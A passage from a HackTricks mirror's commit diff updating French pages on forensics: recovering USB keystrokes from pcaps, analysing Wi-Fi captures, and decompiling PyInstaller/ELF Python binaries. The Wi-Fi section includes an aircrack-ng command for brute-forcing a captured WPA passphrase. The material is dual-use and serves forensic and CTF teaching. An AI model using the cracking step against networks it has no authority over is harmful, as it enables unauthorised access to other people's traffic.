mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke
This commit is contained in:
parent
3815636663
commit
79a0696121
49 changed files with 3499 additions and 12582 deletions
|
@ -611,7 +611,6 @@
|
||||||
* [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
|
* [Login bypass List](pentesting-web/login-bypass/sql-login-bypass.md)
|
||||||
* [NoSQL injection](pentesting-web/nosql-injection.md)
|
* [NoSQL injection](pentesting-web/nosql-injection.md)
|
||||||
* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
|
* [OAuth to Account takeover](pentesting-web/oauth-to-account-takeover.md)
|
||||||
* [OAuth - Happy Paths, XSS, Iframes & Post Messages to leak code & state values](pentesting-web/oauth-to-account-takeover/oauth-happy-paths-xss-iframes-and-post-messages-to-leak-code-and-state-values.md)
|
|
||||||
* [Open Redirect](pentesting-web/open-redirect.md)
|
* [Open Redirect](pentesting-web/open-redirect.md)
|
||||||
* [Parameter Pollution](pentesting-web/parameter-pollution.md)
|
* [Parameter Pollution](pentesting-web/parameter-pollution.md)
|
||||||
* [Phone Number Injections](pentesting-web/phone-number-injections.md)
|
* [Phone Number Injections](pentesting-web/phone-number-injections.md)
|
||||||
|
@ -677,7 +676,6 @@
|
||||||
* [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
|
* [Sniff Leak](pentesting-web/xss-cross-site-scripting/sniff-leak.md)
|
||||||
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
* [Steal Info JS](pentesting-web/xss-cross-site-scripting/steal-info-js.md)
|
||||||
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
* [XSS in Markdown](pentesting-web/xss-cross-site-scripting/xss-in-markdown.md)
|
||||||
* [XSS Tools](pentesting-web/xss-cross-site-scripting/xss-tools.md)
|
|
||||||
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||||
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
|
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
|
||||||
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
|
* [Connection Pool Examples](pentesting-web/xs-search/connection-pool-example.md)
|
||||||
|
|
|
@ -1,41 +1,41 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Si vous avez un pcap d'une connexion USB avec beaucoup d'Interruptions, il s'agit probablement d'une connexion de clavier USB.
|
Si vous avez un pcap d'une connexion USB avec beaucoup d'interruptions, il s'agit probablement d'une connexion de clavier USB.
|
||||||
|
|
||||||
Un filtre wireshark comme celui-ci pourrait être utile : `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
|
Un filtre Wireshark comme celui-ci pourrait être utile : `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
|
||||||
|
|
||||||
Il pourrait être important de savoir que les données qui commencent par "02" sont saisies en utilisant la touche shift.
|
Il pourrait être important de savoir que les données qui commencent par "02" sont pressées en utilisant la touche Maj.
|
||||||
|
|
||||||
Vous pouvez lire plus d'informations et trouver des scripts sur comment analyser ceci dans :
|
Vous pouvez trouver plus d'informations et des scripts sur la façon d'analyser cela dans :
|
||||||
|
|
||||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||||
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
* [https://github.com/tanc7/HacktheBox\_Deadly\_Arthropod\_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,19 +1,19 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Si vous avez un pcap contenant la communication via USB d'un clavier comme le suivant :
|
Si vous avez un pcap contenant la communication via USB d'un clavier comme celui-ci :
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (613).png>)
|
![](<../../../.gitbook/assets/image (613).png>)
|
||||||
|
|
||||||
|
@ -22,21 +22,22 @@ Vous pouvez utiliser l'outil [**ctf-usb-keyboard-parser**](https://github.com/ca
|
||||||
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
|
||||||
python3 usbkeyboard.py ./keystrokes.txt
|
python3 usbkeyboard.py ./keystrokes.txt
|
||||||
```
|
```
|
||||||
Vous pouvez trouver plus d'informations et quelques scripts sur comment analyser ceci dans :
|
Vous pouvez trouver plus d'informations et des scripts sur la façon d'analyser ceci dans:
|
||||||
|
|
||||||
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
* [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
|
||||||
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
* [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> !</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,21 +1,21 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Vérifier les BSSIDs
|
# Vérifier les BSSIDs
|
||||||
|
|
||||||
Lorsque vous recevez une capture dont le trafic principal est le Wifi en utilisant WireShark, vous pouvez commencer à enquêter sur tous les SSIDs de la capture avec _Wireless --> WLAN Traffic_ :
|
Lorsque vous recevez une capture dont le trafic principal est le Wifi en utilisant WireShark, vous pouvez commencer à enquêter sur tous les SSID de la capture avec _Wireless --> WLAN Traffic_ :
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (424).png>)
|
![](<../../../.gitbook/assets/image (424).png>)
|
||||||
|
|
||||||
|
@ -23,42 +23,46 @@ Lorsque vous recevez une capture dont le trafic principal est le Wifi en utilisa
|
||||||
|
|
||||||
## Brute Force
|
## Brute Force
|
||||||
|
|
||||||
Une des colonnes de cet écran indique si **une authentification a été trouvée dans le pcap**. Si c'est le cas, vous pouvez essayer de la forcer en utilisant `aircrack-ng` :
|
Une des colonnes de cet écran indique si **une authentification a été trouvée à l'intérieur du pcap**. Si c'est le cas, vous pouvez essayer de le forcer en utilisant `aircrack-ng` :
|
||||||
```bash
|
```bash
|
||||||
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
|
||||||
```
|
```
|
||||||
Par exemple, il récupérera la phrase secrète WPA protégeant une PSK (clé pré-partagée), qui sera nécessaire pour déchiffrer le trafic plus tard.
|
Par exemple, il récupérera la phrase de passe WPA protégeant un PSK (clé pré-partagée), qui sera nécessaire pour décrypter le trafic ultérieurement.
|
||||||
|
|
||||||
# Données dans les Balises / Canal Latéral
|
# Données dans les balises / Canal latéral
|
||||||
|
|
||||||
Si vous soupçonnez que **des données fuient à l'intérieur des balises d'un réseau Wifi**, vous pouvez vérifier les balises du réseau en utilisant un filtre comme le suivant : `wlan contains <NOMduRESEAU>`, ou `wlan.ssid == "NOMduRESEAU"` recherchez à l'intérieur des paquets filtrés des chaînes de caractères suspectes.
|
Si vous soupçonnez que des données sont divulguées à l'intérieur des balises d'un réseau Wifi, vous pouvez vérifier les balises du réseau en utilisant un filtre comme celui-ci : `wlan contains <NOMduRESEAU>`, ou `wlan.ssid == "NOMduRESEAU"` chercher à l'intérieur des paquets filtrés des chaînes suspectes.
|
||||||
|
|
||||||
# Trouver des Adresses MAC Inconnues dans Un Réseau Wifi
|
# Trouver des adresses MAC inconnues dans un réseau Wifi
|
||||||
|
|
||||||
Le lien suivant sera utile pour trouver les **machines envoyant des données à l'intérieur d'un Réseau Wifi** :
|
Le lien suivant sera utile pour trouver les machines envoyant des données à l'intérieur d'un réseau Wifi :
|
||||||
|
|
||||||
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
* `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
|
||||||
|
|
||||||
Si vous connaissez déjà **les adresses MAC, vous pouvez les retirer de la sortie** en ajoutant des vérifications comme celle-ci : `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
Si vous connaissez déjà les adresses MAC, vous pouvez les supprimer de la sortie en ajoutant des vérifications comme celle-ci : `&& !(wlan.addr==5c:51:88:31:a0:3b)`
|
||||||
|
|
||||||
Une fois que vous avez détecté des adresses **MAC inconnues** communiquant à l'intérieur du réseau, vous pouvez utiliser des **filtres** comme le suivant : `wlan.addr==<Adresse MAC> && (ftp || http || ssh || telnet)` pour filtrer son trafic. Notez que les filtres ftp/http/ssh/telnet sont utiles si vous avez déchiffré le trafic.
|
Une fois que vous avez détecté des adresses MAC inconnues communiquant à l'intérieur du réseau, vous pouvez utiliser des filtres comme celui-ci : `wlan.addr==<adresse MAC> && (ftp || http || ssh || telnet)` pour filtrer son trafic. Notez que les filtres ftp/http/ssh/telnet sont utiles si vous avez décrypté le trafic.
|
||||||
|
|
||||||
# Décrypter le Trafic
|
# Décrypter le trafic
|
||||||
|
|
||||||
Éditer --> Préférences --> Protocoles --> IEEE 802.11--> Éditer
|
Modifier --> Préférences --> Protocoles --> IEEE 802.11 --> Modifier
|
||||||
|
|
||||||
![](<../../../.gitbook/assets/image (426).png>)
|
![](<../../../.gitbook/assets/image (426).png>)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,26 +1,26 @@
|
||||||
# Décompiler les binaires Python compilés (exe, elf) - Récupérer depuis .pyc
|
# Décompiler les binaires Python compilés (exe, elf) - Récupérer à partir de .pyc
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
Si vous êtes intéressé par une **carrière en hacking** et par hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
## Du binaire compilé au .pyc
|
## Du binaire compilé à .pyc
|
||||||
|
|
||||||
À partir d'un binaire compilé **ELF**, vous pouvez **obtenir le .pyc** avec :
|
À partir d'un binaire compilé **ELF**, vous pouvez **obtenir le .pyc** avec :
|
||||||
```bash
|
```bash
|
||||||
|
@ -41,38 +41,38 @@ pyi-archive_viewer <binary>
|
||||||
? X binary_name
|
? X binary_name
|
||||||
to filename? /tmp/binary.pyc
|
to filename? /tmp/binary.pyc
|
||||||
```
|
```
|
||||||
Dans un **binaire exe python** compilé, vous pouvez **obtenir le .pyc** en exécutant :
|
Dans un **binaire exe Python** compilé, vous pouvez **obtenir le .pyc** en exécutant :
|
||||||
```bash
|
```bash
|
||||||
python pyinstxtractor.py executable.exe
|
python pyinstxtractor.py executable.exe
|
||||||
```
|
```
|
||||||
## De .pyc à code python
|
## De .pyc au code Python
|
||||||
|
|
||||||
Pour les données **.pyc** (python "compilé"), vous devriez commencer par essayer d'**extraire** le **code** **python** **original** :
|
Pour les données **.pyc** (Python compilé), vous devriez commencer par essayer d'**extraire** le **code Python** **original** :
|
||||||
```bash
|
```bash
|
||||||
